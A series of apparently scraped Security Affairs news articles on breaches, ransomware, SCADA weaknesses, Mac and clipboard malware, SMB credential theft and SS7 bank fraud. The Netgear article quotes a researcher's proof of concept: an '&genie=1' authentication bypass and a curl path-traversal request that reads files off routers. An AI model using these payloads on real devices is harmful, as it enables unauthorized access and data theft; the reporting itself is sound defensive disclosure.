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It has happened again, customers of the company Three UK experienced a new data breach., Some customers logging into their accounts were able to view personal data (names, addresses, phone numbers) and call histories of other users., The company promptly started an internal investigation and urged those affected to contact the customer service, it also confirmed that no financial data was exposed., The Guardian confirmed that several customers were affected, it reported the case of several users presented with the data usage and call and text history of others when they logged in on Sunday night., One customer cited by The Guardian, Mark Thompson, said it was a “shocking breach of data privacy”. He wrote on Three UK’s Facebook page: “Care to explain just how my details have been shared, how many people have had access to my personal information, for how long, and how many of your other customers have had their details leaked by yourselves to other members of the public as well?”, , Three UK has 9 million customers in the UK, but according to the company only a small portion of customers has been affected by the issue., “We are aware of a small number of customers who may have been able to view the mobile account details of other Three users using My3,” a spokesman said. “No financial details were viewable during this time and we are investigating the matter.”, The Information Commissioner’s Office announced it “will be looking into this potential incident involving Three”., “Data protection law requires organisations to keep any personal information they hold secure. It’s our job to act on behalf of consumers to see whether that’s happened and take appropriate action if it has not.” said a spokeswoman from the ICO. , It isn’t the first time Three UK makes the headlines, in November 2016 the mobile carrier confirmed a major cyber security breach which exposed personal data of a portion of its customers, roughly 133,000 users., Authorities arrested three men for this crime., Pierluigi Paganini, (Security Affairs – Three Mobile, data breach)

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Ransomware continues to monopolize the threat landscape, recently security experts have observed numerous evolution of this specific family of malware., A newly discovered ransomware-as-a-service (RaaS), dubbed Fatboy, implements a dynamic method of setting the ransom amount based on the geographic location of the victims., , According to threat intelligence firm Recorded Future, the Fatboy ransomware was first discovered on March 24 on a top-tier Russian cyber-criminal forum., The alleged malware author that goes online with the moniker “polnowz” was advertising the threat on the forum as a partnership, offering support and guidance through Jabber. A few days later, a reputable member of the forum offered to assist the author with translation in the product., The most interesting feature of this ransomware is the payment scheme based on The Economist’s Big Mac Index, this implies that victims will pay a different ransom depending on the cost of living of their region., “The Fatboy ransomware is dynamic in the way it targets its victims; the amount of ransom demanded is determined by the victim’s location.” reads the analysis published by Recorded Future., “According to polnowz, Fatboy uses a payment scheme based on The Economist’s Big Mac Index (cited as the “McDonald’s Index” in the product description), meaning that victims in areas with a higher cost of living will be charged more to have their data decrypted.”, , Crooks that intend to be partners of the author can benefit from instant payments when the victim pays the ransom., Since February 7, 2017, the author of the Fatboy ransomware supposedly earned at least $5,321 USD from his ransomware campaigns., On infected computers, the ransomware displays a ransom note that warns victims that their files would be completely lost if the ransom isn’t paid within a specific period., Fatboy ransomware is written in C++ and works on all Windows OS versions for both x86 and x64 architectures., The malware target more than 5000 file extensions and it uses AES-256 encryption and a key for each victim that is encrypted with RSA-2048., Below the product description shared by Recorded Future:, The FatBoy RaaS implements a user-friendly partner panel that includes statistics by country and time, and of course detailed information related to each infected machine., “The level of transparency in the Fatboy RaaS partnership may be a strategy to quickly gain the trust of potential buyers. Additionally, the automatic price adjustment feature shows an interest in customizing malware based on the targeted victim.” concludes Recorded Future., “Organizations should be aware of the adaptability of Fatboy, as well as other ransomware products, and continuously update their cyber security strategies as these threats evolve.”, Pierluigi Paganini, (Security Affairs –  Fatboy ransomware, malware)

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Excerpt from the article published on the last edition of PenTest AUDITING & STANDARDS 06 2012, The article exposes the main issues related to the use of SCADA systems in critical infrastructures, providing a careful analysis of the relative level of security on a global scale. It discusses the main vulnerabilities of critical systems exploitable by cyber attacks and possible solutions to implement to ensure their safety., Over the last years worldwide countries have discovered their critical infrastructures too vulnerable to cyber attacks due the increasing attention in cyber security matter and successfully attacks to SCADA systems. Events such as the spread of Stuxnet virus have alerted the international security community on the risks related to a cyber attacks and the relative disastrous consequences, we have learned how much powerful is a cyber weapon and which is real involvement of governments in cyber warfare., SCADA (supervisory control and data acquisition) is an industrial control system (ICS) used for the control and monitor of industrial processes, it is typically present in all those potential targets of a cyber attack such as a critical infrastructures or a utility facility., Being related to industrial processes we find this family of devices everywhere, manufacturing, production, power generation and many times they are implemented to control of activities of critical systems such as water treatment and, electrical power transmission and distribution and large communication systems., These components are privileged targets for cyber attacks, with a virus is possible to destroy the processes inside a nuclear plant as it happened in Natanz nuclear site during the offensive against Iran and its nuclear program. Western countries have been the first to explore the possibility of a cyber offensive using a cyber weapon such as a malware, the operation Olympic Games demonstrates the high attention of US government in cyber operations and the strong commitment provided by Bush administration first and after by the Obama one., The scenario is really alarming, an attack on a SCADA system of a sensible structure could materialize the nightmare of every government, similar incidents can undermine the safety of millions of individuals and can compromise the homeland security. Dozens, hundreds, thousands of installations all over the world are potentially vulnerable to attack from anywhere on the planet, the offensive option is moved into what it is defined as the fourth dimension, the cyberspace, but that could also lead to the loss of many human lives., Not necessarily our minds must fly to a nuclear plant thinking to a possible accident in its control systems, we can think for example of the impact of an attack on the processes in a chemical plant. The main problem of SCADA systems is that they are in large number, each industrial process has its own, and many of them are exposed on internet without proper protection., Which is the typical structure of a SCADA system?, SCADA systems consist of the following components:, , Figure 1 – Scada Schema (Wikipedia), In similar structure is possible to imagine several entry points for the external agents such as malware, the supervisory system is usually a computer based on the commercial OS for which is possible to exploit known vulnerabilities and in case of state sponsored attacks also 0-day vulnerabilities. Incidents occurred in SCADA systems have been demonstrated that these systems could be infected in different ways, we can imagine the inoculation of a virus through a USB stick or via a network interface., After the recent events many security firms have started the design of specific solutions to address security problems of SCADA systems, but the major challenge is for governments that have to include the protection of these critical components in their cyber strategies. Several audits executed by governments on their critical infrastructures have illustrated a dangerous scenario, the lack of security mechanisms for the many systems located all over the world, but it is really alarming the absence of a precise census of the SCADA systems for many of the principal industrialized countries., Events such as the virus Stuxnet diffusion and the alleged incident to the water facility in Illinois occurred last year have shown to the world that it is possible to conduct a terrorist attacks on foreign state remotely, this has increased the awareness of cyber threats and the necessity to implement right countermeasures to mitigate the risks., Defense mechanisms virtually absent, the SCADA system components are often under the government of local authorities who do not deal with adequately trained personnel and that operates with limited budgets. This means that this kind of control devices is installed everywhere without being qualified in the installation phase. There are many systems deployed with factory settings, pre-set standard configurations and common to entire classes of devices. To this we add that even those who maintain them, should not exceed security, thus making it accessible for remote diagnostics without necessary attention. Fortunately, something is changed, precise guidelines identify best practices to follow in the management of SCADA systems and operations groups monitor the operation of facilities around the country., The last “INTERNET SECURITY THREAT REPORT” published by Symantec  reports that during 2011 have been detected several weaknesses in Critical Infrastructure Systems,  the security firm has seen a dramatic increase in the number of publicly-reported SCADA vulnerabilities from 15 in 2010 to 129 in 2011. Since the emergence of the Stuxnet worm in 2010 36, SCADA systems has attracted wider attention from security researchers. However, 93 of the 129 new published vulnerabilities were the product of just one security researcher., In December the Industrial Control System – Cyber emergency Response Team (ICS-CERT) has distributed a new alert to provide timely notification to critical infrastructure owners and operators concerning threats or activity with a potential impact on critical infrastructure computing networks., ICS-CERT informed that some models of the Modicon Quantum PLC used in industrial control systems contain multiple hidden accounts that use predetermined passwords to grant remote access Palatine, Illinois–based Schneider Electric, the maker of the device, has produced fixes for some of the weaknesses and continues to develop additional mitigations. ICS-CERT encourages researchers to coordinate vulnerability details before public release., In a SCADA system the programmable logic controllers (PLCs) are directly connected to in-field sensors that provide data to control critical component (e.g. Centrifugal or turbines). Often the default passwords are hard-coded into Ethernet cards the systems use to funnel commands into the devices, allowing administrators to remotely log into the machinery., An independent security researcher Rubén Santamarta reported that the NOE 100 and NOE 771 modules contain at least 14 hard-coded passwords, some of which are published in support manuals. Even in cases where the passcodes are obscured using cryptographic hashes, they are trivial to recover thanks to documented weaknesses in the underlying VxWorks operating system. As a result, an attacker can exploit the weakness to log into devices and gain privileged access to its controls., Hard-coded passwords are a common weakness built into many industrial control systems, including some S7 series of PLCs from Siemens. Because the systems control the machinery connected to dams, gasoline refineries, and water treatment plants, unauthorized access are considered a national security threat because it could be used to sabotage their operation., Doing a search on the server search engine known as Shodan it’s possible to discover what appear to be working links to several of the vulnerable Schneider models.  Santamarta said there is no fix for the devices other than to retire the faulty Ethernet cards and replace them with better-designed ones. The ICS-CERT advisory issued on December said the fixes from Schneider removes the telnet and Windriver services. The advisory made no mention of changes to FTP services. The scenario is very worrying and reveals the need for a radical change, fortunately, the emergency has been perceived by most Nations. The ENISA (European Network Information Security Agency, has produced a recommendation for Europe and Member States on how to protect Industrial Control Systems. The document describes the current scenario of Industrial Control System security and proposes seven recommendations to improve it. The recommendations call for the creation of the national and pan-European ICS security strategies, the development of a Good Practices Guide on the ICS security, fostering awareness and education as well as research activities or the establishment of a common test bed and ICS-computer emergency response capabilities., In June The Pacific Northwest National Laboratory (PNNL), a federal contractor to the U.S. Department of Energy (DOE), in collaboration with McAfee has published an interesting report entitled “Technology Security Assessment for Capabilities and Applicability in Energy Sector Industrial Control Systems: McAfee Application Control, Change Control, Integrity Control.”, The report provides an excellent picture of the current status of critical infrastructures and the effort spent to identify and fix vulnerabilities, in particular, it analyzes the value and effectiveness carefully integrated security solutions necessary to support the national security mission to secure industrial control system environments., Very meaningful is the statement said by Philip A. Craig Jr, Senior Cyber Security Research Scientist, a researcher within the National Security Directorate at the Pacific Northwest National Laboratory:, “When early critical infrastructure systems were created, neither security nor misuse of the interconnected network was considered”,  “Today, we are still focused on enhancing the security of control systems. Outdated security methods that use a maze of disparate, multi-vendor, and stacked security tools will only delay a cyber attack, providing numerous opportunities for a more advanced and modern cyber adversary to attack cyber security postures throughout critical infrastructure.”, The document proposes a list of principal vulnerabilities that have been identified for control systems environments:, For now we have spoken of the possible vulnerabilities of the control systems without considering the principal reason of concern for critical infrastructures, the cyber warfare. Today cyber attacks have critically evolved into a sophisticated and carefully designed cyber weapon created with specific offensive intents, Stuxnet, Duqu and Flame are good examples., Dr. Phyllis Scheck, Vice President and Chief Technology Officer, Global Public Sector, McAfee said, “Infrastructures that control systems affecting our everyday lives, such as smart grids, are rising in adoption yet still lack the proper security needed to prevent sophisticated cyber attacks, “, “Achieving security by design is essential in securing critical infrastructure. Cybersecurity must be embedded into the systems and networks at the very beginning of the design process so that it becomes an integral part of the systems functioning.”, Which are the principal solutions to prevent the exploits of vulnerabilities?, Well, after the discovery of government programs for the design of cyber weapons that are able to exploit vulnerabilities present in the control system many security firms and experts of the same governments have invested in the project for the defense of critical infrastructures. Today there aren’t cyber strategies that aren’t considering the strategic importance of cyber defense. To give an idea of the possible solutions implemented for defensive and preventive purposes the PNNL report cites:, Conclusions , The SCADA systems are increasing in complexity, due to the integration of different components produced in many cases by different manufacturers it is necessary to address the security level of each device, but also on the overall environment, integration tests are fundamental during the deployment phase, the design approach must totally change and have to take care of all the possible cyber threats that could arm the systems., There must be a collective effort by all governments to produce continuous report on the security status of critical infrastructures and related SCADA systems. The overall security will pass through a global collaboration and information sharing on the possible cyber threats and the vulnerabilities of every device that is qualified in the market., The security component must become part of the project of the industrial system, it must be considered as a specific requirement, overall security of critical infrastructures must be audit during the entire lifecycle of its components., Only following these recommendations we could defend our nation., Pierluigi Paganini, About the Author , Pierluigi Paganini has a Bachelor in Computer Science Engineering IT, majoring in Computer Security and Hacking techniques. Security expert with over 20 years experience in the field. Certified Ethical Hacker at EC Council in London. Actually he is Company Operation Director for Bit4Id, Researcher, Security Evangelist, Security Analyst and Freelance Writer. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to found the security blog „Security Affairs”., Security Affairs (  ), Email : pierluigi.paganini@securityaffairs.co

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Following the first ever instance of mac ransomware, recently reported by Palo Alto Networks. A second piece of malware has been discovered in the wild., The malicious software dubbed Backdoor.MAC.Eleanor or OSX/Eleanor-A comes under the guise of a harmless file converter application and was readily available under a number of previously reputable download sites., Bitdefender Labs explained in their report, that the software is embedded surreptitiously in the fake application EasyDoc Coverter.app.  The application itself serves no functionality, posing as a drag and drop utility to facilitate simple file conversion., The phoney application after installation, What’s under the hood instead is a malicious suite of services with the ability to steal data, execute malicious code and even control the infected machine’s web camera., Bitdefender explained in their report: “The backdoor is embedded into a fake file converter application that is accessible online on reputable sites offering Mac applications and software. The EasyDoc Converter.app poses as a drag-and-drop file converter, but has no real functionality – it simply downloads a malicious script., “The backdoor is embedded into a fake file converter application that is accessible online on reputable sites offering Mac applications and software. The EasyDoc Converter.app poses as a drag-and-drop file converter, but has no real functionality – it simply downloads a malicious script., This is a nasty backdoor that can steal data, execute remote code and access the webcam, among other things …”, Once initiated the application would install a hidden Tor service for Command and Control (C2) functionality, a web service as well as a Pastebin agent., Once infected the Command and Control interface is used to manage the web service’s capabilities which amongst a plethora of other things allows for the use of Netcat, commonly known as ‘the hackers Swiss army knife’ and Wacaw, a command line tool which can be used for taking pictures and videos with your webcam., Through this, the capabilities of the web service in particular grants functionality for a File Manager which can view, edit rename, upload and download files, allows command and script execution as well as offering bind and reverse shell connectivity, a simple packet crafter, the ability to connect and administer databases and even a process/task manager., According to Bitdefender’s Tech Lead, Tiberius Axinte “This type of malware is particularly dangerous as it’s hard to detect and offers the attacker full control of the compromised system. For instance, someone can lock you out of your laptop, threaten to blackmail you to restore your private files or transform your laptop into a botnet to attack other devices. The possibilities are endless.”, The application however is not signed by an Apple developer ID which therefore means it won’t install unless you have allowed this specifically in your OS security settings., Although this offers some protection, if a malicious player was able to get access to developer signed cryptographic keys then this thin layer wouldn’t offer the necessary levels of detection and prevention., Written by: Steven Boyd, Steven is a security consultant, researcher, ethical hacker and freelance writer with over 16 years of experience in the industry. He has provided security consultancy to some of the world’s biggest banks, the private sector as well as public services and defense. He is the owner and creator of security blog www.CybrViews.com., Twitter: @CybrViews,  ,  ,  ,  , Pierluigi Paganini, (Security Affairs – Eleanot Mac Malware, cybercrime)

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Rob has over 11 years of experience covering all facets of information security. He has been behind the lines helping to design, build, and defend the US Marine Corps, US Senate, and Pentagon networks – as well as performing penetration tests and Red Team assessments against those same networks. More recently, Rob has performed numerous successful Red Team assessments against commercial Fortune 50 companies representing some of the best defensive teams in the industry., I think my earliest “hacking” was cheating at video games. I enjoyed learning the mechanics of how the Game Genie and GameShark worked, and how I could cheat at games rather than playing them. My parents always thought that I ruined the games, but it really was the figuring out how to get the right hex for infinite life or ammo that was the game for me., After that I owe my traditional IT / Security learning to the Marine Corps’s 0651 and 0656 schools, the amazingly patient Marines and civilians at the MARCERT, the OSCP and Chris Gates’ blog., , The greatest hacking challenge I would say is myself. Self-awareness is an ever progressing goal, I attempt to figure out and make myself better every day. I fail at it a lot, but all the best hacks are pure and simple perseverance and I plan to never let this one have the better of me., So much troll ammo in that question. Or I could go the philosophical route and talk about the mind, and never giving up, but I’ll take the question at face value (this will be heavily weighted towards Windows since that’s my specialty):, I’ve never really been welcome or even interested in the darker side of hacking communities. I would get caught if I even tried to dive into that world., To know one’s limitations is to know one’s self, However, I run NoVAHackers with Chris Gates so I would be remiss to not mention it, and it’s parent AHA. Both are great communities with basically a mini-conference every month at the meetings., If you don’t have a hacker space, or “Hackers Association” in your area, first, look harder there probably is one that you just haven’t found yet, and second, if not, start it. I went to the first 2 or 3 meetings of NoVA Hackers by myself. Don’t be deterred by single digit membership or attendance. NoVA Hackers is near ~700 members + another 500 or so alumni since it started in 2009., Honestly, I don’t want to answer this. Why would you point at someone and say “hit him, he’s easier to take down”, The fact that people think it’s a weapon for or against them., Yes, but in what country? Is the U.S. even the most connected these days? I doubt it. In counter point I would like you to watch the following for actual statistics on the matter by @SpaceRogue:, Same issue with the industry question, not going to point at the weakest link. I guess an argument to the fact that making light of these targets helps to force action, but I think unless you have had your head in the sand every knows of “Cyber Threats” these days, and a heading like:, Security Expert Rob Fuller says that Widgets are the most vulnerable target in U.S. Infrastructure, doesn’t really further any message or get anyone’s attention to something they don’t already know., Pierluigi Paganini, (Security Affairs –  Hacker, Mubix “Rob” Fuller)

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Security researchers from Qihoo 360 Total Security have spotted a new malware campaign spreading a clipboard hijacker, tracked as ClipboardWalletHijacker, that has already infected over 300,000 computers. Most of the victims are located in Asia, mainly China., “Recently, 360 Security Center discovered a new type of actively spreading CryptoMiner, ClipboardWalletHijacker. The Trojan monitors clipboard activity to detect if it contains the account address of Bitcoin and Ethereum.” reads the analysis published by the company., “It tampers with the receiving address to its own address to redirect the cryptocurrency to its own wallet. This kind of Trojans has been detected on more than 300 thousand computers within a week.”, Modus operandi for ClipboardWalletHijacker is not a novelty, the malware is able to monitor the Windows clipboard looking for Bitcoin and Ethereum addresses and replace them with the address managed by the malware’s authors., In March 2018, researchers at Palo Alto Networks discovered a malware dubbed ComboJack that is able of detecting when users copy a cryptocurrency address and alter clipboards to steal cryptocurrencies and payments., In a similar way, ClipboardWalletHijacker aims at hijacking BTC and ETH transactions., Experts observed the malware using the following addresses when replacing legitimate ones detected in users’ clipboards:, By replacing the address with the following one: “0x004D3416DA40338fAf9E772388A93fAF5059bFd5” the hackers have successfully hijacked 46 transactions., Below the balances of these addresses:, Hackers have stolen a total 0.12434321 BTC from eight transactions and no Ether, for a total of around $800., Recently Qihoo discovered many other miners, such as TaksHostMiner and WagonlitSwfMiner that infected dozens of thousands of machines., “Recently, we have found that a lot of CryptoMiner Trojans are using this technique to steal victims’ cryptocurrencies.” concludes the company. “We strongly recommend users to enable antivirus software while installing new applications. Users are also recommended to run virus scan with 360 Total Security to avoid falling victim to CryptoMiner.”, Pierluigi Paganini, (Security Affairs – ClipboardWalletHijacker, cryptocurrency)

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Recently, security researchers from the Cheetah Mobile Security Research Lab discovered a severe loophole in the popular phone call management application Truecaller., This vulnerability allows anyone to steal Truecaller users’ sensitive information, potentially opening doors for attackers. Overall, more than 100 Million Android users who have downloaded this app on their smartphones are in danger. , The researcher found that Truecaller uses the devices’ IMEI as the only identity label of its users. Meaning that anyone gaining the IMEI of a device will be able to get Truecaller users’ personal information (including phone number, home address, mail box, gender, etc.) and tamper app settings without users’ consent, exposing them to malicious phishers., , By exploiting this flaw, the attackers can:, The Cheetah Mobile Security Research Team notified the developer of Truecaller about this vulnerability as soon as they discovered the loophole and offered all it could to help the developer fix the issue. Now the maker of Truecaller has addressed the issue and released an update on March 22nd. , Although the flaw has been fixed in the latest version, the majority of the users are still in danger as they have not got access to the new release yet. The CM Security Research Lab advises Truecaller users to upgrade this app to the latest version as soon as possible., Written by Cheetah Mobile Security Research Lab, (Security Affairs – VNC Roulette, hacking)

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Netgear has just released many security updates that address vulnerabilities in a couple of dozen models., The vulnerabilities have been reported by security researchers Martin Rakhmanov from Trustwave, which conducted a one-year-study on the firmware running on Netgear’s box., Users are recommended to apply the security patches as soon as possible, they can be exploited by hackers to compromise gateways and wireless points., The expert discovered that 17 different Netgear routers are affected by a remote authentication bypass that could be exploited by a remote attacker to access target networks without having to provide a password., “This also affects large set of products (17 total) and is trivial to exploit. Authentication is bypassed if “&genie=1″ is found within the query string.” reads the analysis published by Rakhmanov., Yes, it’s right, an attacker just needs to append the “&genie=1” the URL to bypass authentication, of course, the attack works against any gateways with remote configuration access enabled., Attackers can access the device changing its DNS settings to redirect browsers to malicious sites., , Another 17 Netgear routers are affected by Password Recovery and File Access vulnerabilities. The flaws reside in the genie_restoring.cgi script used by the Netgear box’s built-in web server, the vulnerability can be triggered to extract files and passwords from its filesystem in flash storage and to pull files from USB sticks plugged into the router., “Some routers allow arbitrary file reading from the device provided that the path to file is known. Proof-of-concept for Nighthawk X8 running firmware 1.0.2.86 or earlier:, curl -d “id=304966648&next_file=cgi-bin/../../tmp/mnt/usb0/part1/README.txt” The above will fetch README.txt file located on a USB thumb drive inserted into the router. Total of 17 products are affected. Specific models are listed in the Advisory notes.” continues the analysis., The list of issues discovered by the researcher includes a command Injection Vulnerability on D7000, EX6200v2, and Some Routers, PSV-2017-2181. After pressing the WPS button, the Netgear routers allows for two minutes a remote attacker to execute arbitrary code on the box with root privileges., “Only 6 products are affected, this allows to run OS commands as root during short time window when WPS is activated.” states the analysis., Pierluigi Paganini, (Security Affairs – Netgear routers, hacking)

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The Sneaker is a very intriguing expert involved in counterterrorism operations against the ISIL members online., Ghost Security (GhostSec) is an internationally-based counterterrorism group that specializes in intel collection, threat analysis and digital weapons. Its cyber operations consist of collecting actionable threat intelligence, advanced analytics, cyber warfare using offensive capabilities, surveillance and providing situational awareness., Enjoy the interview and let me thank Sneaker for its support., , What are your motivations? Why do you hack?, I joined GhostSec because of all the horrors ISIS was causing all around the world. Considering the fact that most of ISIS’ recruiting is done online, it struck me as odd that little was being done to counter them online. Many Western governments have admitted that they are ill-equipped to fight ISIS online. They have not been proactive, for one thing. Terrorism online is not a new phenomenon and a plan to effectively address it should have been implemented shortly after 9/11., Most governments also employ ineffective strategies such as hashtag campaigns, etc. You can’t defeat terrorism with a hashtag. They also use obsolete systems and have poorly trained employees who do not keep up with new and emerging trends in cybersecurity., So, GhostSec, along with many others such as CtrlSec, stepped in to assist. It beats just sitting around waiting for the next terror attack., What is your technical background and are you an IT professional?, I have a degree in a computer field and I’m currently working on a couple of certifications: GIAC Security Essentials (GSEC) and Certified Ethical Hacker (CEH).  I work in IT and part-time as a writer., What would you change about the cybersecurity industry and why?, For one thing, it is startling that none of the top 10 US university computer science and engineering programs require students take a cybersecurity course. DarkReading recently reported on that. With the threat level being as high as it is, it just seems to defy reason and logic. Basic computer security is something that should be taught even in the most basic computer science courses.  Some people may avoid taking a cybersecurity course because it doesn’t sound like a lot of fun. But, trying to recover a computer from a malware attack is not a lot of fun either. So, it’s definitely worth at least learning the basics., How many women do you know that are hackers or pen testers? What about as networking architects? Data mining experts?, At work I know three who are ethical hackers and have pentesting skills. There are female hackers in Anonymous, but I’m not sure who among them has pentesting skills, but there are definitely data miners. Data mining is an important aspect of OpISIS.  Helps to locate terror accounts in an efficient manner., What was your greatest hacking challenge?, My biggest hacking challenge is actually currently underway – an operation involving ISIS, but I cannot go into any further details at this time. It’s a special op involving 3 GhostSec members., What was your greatest challenge?, Undercover ops are the most challenging, in my opinion. Infiltration requires patience and a lot of time and effort. It is also dangerous. One wrong move and whoever is being infiltrated can become suspicious. And, ISIS has a seething hatred for spies. So, it is challenging, but in terms of the valuable intel acquired, it’s well worth it., What scares you the most on the internet?, A fellow GhostSec member, VujaDeGhost voiced her main concern:, “What I do at the moment helps answer this question with absolutely no doubt in my mind. The most vile part of the Internet as it stands today, is the distribution of disturbing content. When I log into my accounts and start work there in no break in what happens. I see innocent people being hurt and/or killed. Beaten, hung, drowned, burned, dragged and beheaded. I see children being abused in ways I could not even begin to explain in an interview. All via the internet.”, I agree that the horrific imagery we come across constantly is of the most disturbing aspects of the internet. While offensive content has always been part of the internet, there is a difference, from a legal standpoint, between hate speech and other unpopular speech and speech that is in support of terrorism. In the US, for instance, most hate speech is speech that is protected under the First Amendment. But, posting terrorist propaganda, making threats and terrorist recruiting is not protected speech. These activities provide aid and support to terrorism. So, there is no legal right to these activities., Edited by Pierluigi Paganini, (Security Affairs – hackers, hacktivism)

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Experts at Cylance have discovered a new credential hijacking vulnerability dubbed Redirect to SMB that affects all versions of Windows OSs, including the upcoming Windows 10. The Redirect to SMB could be exploited by an attacker who has control of some portion of a victim’s network traffic to steal users’ credentials. The Redirect to SMB flaw is a hijacking vulnerability that resides in the way Windows OSs and other applications, including Adobe Flash and iTunes, handles some HTTP requests. Unfortunately, Microsoft has not released a fix the flaw., , The experts at Cylance explained that the Redirect to SMB vulnerability was investigated for the first time by Aaron Spangler nearly 20 years ago. The attacker can force victims to try to authenticate to a server it controls. A large number of applications running in the background can speed up SMB capture and relay attacks against devices connecting to insecure wireless networks., “Redirect to SMB is a way for attackers to steal valuable user credentials by hijacking communications with legitimate web servers via man-in-the-middle attacks, then sending them to malicious SMB (server message block) servers that force them to spit out the victim’s username, domain and hashed password,” states a blog post published by Cylance., “We uncovered Redirect to SMB while hunting for ways to abuse a chat client feature that provides image previews. When a URL to an image was received, the client attempted to show a preview of the image. Inspired by Aaron’s research some 18 years ago, we promptly sent another user a URL starting with file:// which pointed to a malicious SMB server. Surely enough, the chat client tried to load the image, and the Windows user at the other end attempted to authenticate with our SMB server.”, The Redirect to SMB vulnerability has been reported to CERT at Carnegie Mellon University, which published a security advisory. The researchers explained that many applications running in the background use HTTP requests to perform various activities, by intercepting them it is possible to exploit the flaw and steal the sensitive data., , “Many software products use HTTP requests for various features such as software update checking. A malicious user can intercept such requests (such as with a MITM proxy) and use HTTP Redirect to redirect the victim a malicious SMB server. If the redirect is a file:// URL and the victim is running Microsoft Windows, Windows will automatically attempt to authenticate to the malicious SMB server by providing the victim’s user credentials to the server. These credentials can then be logged by the malicious server. The credentials are encrypted, but may be “brute-forced” to break the encryption,” states the CERT advisory., Despite the attack is not completely new to the security community, the technique developed by Cylance can make it easier to run as confirmed by said HD Moore, chief research officer at Rapid 7., “This is a novel attack that can be easily abused to significantly increase the exploitability of Windows client systems communicating on untrusted or compromised networks. While tools like KARMA, Metasploit, and Responder.py depend on the user to make a SMB connection back to the attacker, the Cylance research improves on the attack by abusing how HTTP redirects are handled by callers of the URLMon API,” said HD Moore., The researchers explained that this attack could be very effective is attackers use it in a first stage of an attack to gather sensitive credentials to use later., “I would expect this vulnerability to be used as part of a two-stage phishing attack: First try to exploit vulnerabilities, including this one, after getting the user to click a link in an email, and then attempt to do something further by getting the user to “log in” to a fake portal, or downloading software that takes over the machine. In this way, attackers can be moderately effective even if the user doesn’t fall for anything after opening the page,” explained Patrick Nielsen, senior security researcher at Kaspersky Lab., The advisory issued by the CERT reported a number of Windows API functions affected by the Redirect to SMB vulnerability, including URLDownloadA, URLDownloadW, URLDownloadToCacheFileA, URLDownloadToCacheFileW, URLDownloadToFileA, URLDownloadToFileW, URLOpenStream, URLOpenBlockingStream., Pierluigi Paganini, (Security Affairs –  Redirect to SMB, hacking)

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Security experts have been warning for years about security vulnerabilities affecting the SS7 protocol widely adopted in mobile communications., SS7, aka Signalling System No. 7, is a set of protocols used in telecommunications ever since the late 1970s, enabling smooth transportation of data without any breaches., The flaws could be used by hackers to spy on targets by redirecting incoming calls, to track a phone’s location, and text messages to their devices., Attacks exploiting vulnerabilities in the SS7 protocols could allow attackers to bypass any authentication process of principal web services (e.g. Facebook, WhatsApp) that leveraging on SMSs to identify the users., In December 2014, a group of German researchers at the Chaos Communication Hacker Congress revealed the existence of serious security issues in the protocol used by a large number of carriers of mobile telephony. Despite the huge investment in security made by telco companies, the adoption of flawed protocols exposes customers to serious privacy and security risks., “It’s like you secure the front door of the house, but the back door is wide open,” said Tobias Engel, one of the German researchers., , Figure 1 – Tobias Engel Slides presented at CCC Berlin , What does the network know about your location? , Tobias explained that the network knows the location of the cell tower that could be used to have a pretty good approximation of a user’s location. Despite the access to the information managed by operators is restricted to the technical operation of the network, voice calls, and short messages can be initiated to your phone number from almost anywhere in the global SS7 network., , Figure 2 – Tobias Engel Slides presented at CCC Berlin , Attacks relying on these security issues already happened in the past, one of the major incidents was registered by the NKRZI (which is the National Commission for the State Regulation of Communications and Informatization in Ukraine) and involved Russian addresses back in April 2014., The expert noticed that many Ukrainian mobile phone holders have been targeted by SS7 packets sent from Russia to track them and steal information from the mobile devices., Back to the present, security experts are observing the first massive hacking campaign exploiting the design flaws in the SS7 protocol to drain bank accounts. Multiple sources confirmed that hackers used this technique in the past few months., The company O2-Telefonica in Germany has confirmed to Süddeutsche Zeitung agency that some of its customers suffered cyber heists exploiting the SS7 flaws to bypass SFA authentication mechanisms., Hackers exploited the vulnerabilities in the SS7 protocol to intercept authentication code sent by the banking services to the customers using the two-factor authentication process., Hackers exploited a two-factor authentication system of transaction authentication numbers used by sine German banks. The attackers first conducted a spam campaign to deliver a malware on the bank customers PC in order to collect financial information (the bank account balance, login credentials, and the mobile number)., Then hackers purchased access to a rogue telecommunications provider and set up a redirect for the victim’s mobile phone number to a handset controlled by the attackers., At night time crooks logged into victims’ bank accounts and drained them exploiting the SS7 flaws to access the account and authorize the fraudulent transactions., This is the first publicly confirmed attack exploiting the design flaws in the SS7 protocol in Europe., Which is a possible solution?, Telco experts propose a replacement for SS7 on 5G networks, dubbed the Diameter protocol, unfortunately also this protocol is affected by critical security holes., Security researchers discovered that Diameter is also affected by security issues, one of them is the lack of mandatory implementation of the Internet Protocol Security (IPsec) protocol., According to researchers from Nokia Bell Labs and Aalto University in Finland, this means that Diameter could be hacked with the same techniques that are effective against SS7., Last year, the team of experts made several tests to evaluate attacks against users connected to the LTE network. They simulated the attacks on a test network set up by an unnamed global mobile operator. In the tests, they powered a cyber attack against UK subscribers from Finland and discovered several methods of disrupting service to users., The researchers were able to temporarily and permanently shut down users connections, they were also able to target entire regions., Pierluigi Paganini, (Security Affairs – SS7, Hacking bank accounts)

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Last week American officials had yet another meeting to discuss about the difficulties to track the ISIS militants, emblematic is the case of the alleged death of its leader Abu Bakr al Baghdadi disproved by himself in a recent recorded message., ISIS leader Abu Bakr al Baghdadi had survived a US airstrike and promised revenge anticipating the eruption of the volcanos of jihad., ISIS members have proven exceptionally difficult to track due a proper use of technology tools, like application for encryption, social media platforms and encrypted instant messaging platforms. Recently the media announced that ISIS has released a manual for its militants, titled “How to Tweet Safely Without Giving out Your Location to NSA”, that explain how avoid surveillance., According to US officials, ISIS members are encrypting their communications and taking steps to avoid the US surveillance. Monitoring of communications is strategically for Intelligence activities, due to the limited resources operating in the territories occupied by the organization., “When you literally have a force on the ground, you’re in a better position to take advantage of these communications,” said a former U.S. official., The situation id very complex respect the 2007, when the National Security Agency tracked the computers and cellphones of members of al Qaeda in Iraq and addressed its ground forces on the targets., American officials are concerned with the difficulty to decipher the messages, official fonts reveals that ISIS is also using a commercially available service that allow to permanently delete messages sent via the Internet, like the popular application FireChat that allows users to send messages to each other without connecting to the Internet., FireChat is a mobile app developed by Open Garden, which uses wireless mesh networking to enable mobile devices to connect via Bluetooth, Wi-Fi, or Apple’s Multipeer Connectivity peer-to-peer without an internet connection, according US intelligence the application is widely used in Iraq and other areas occupied by the ISIS forces., The ISIS is aware of monitoring activities operated by the US Intelligence and is adapting its communication technique to avoid them, in some cases the group has also involved couriers to convey messages., “These guys have a level of discipline. They will enforce through the ranks not using cellphones,” reported U.S. intelligence and counterterrorism officials told The Daily Beast., 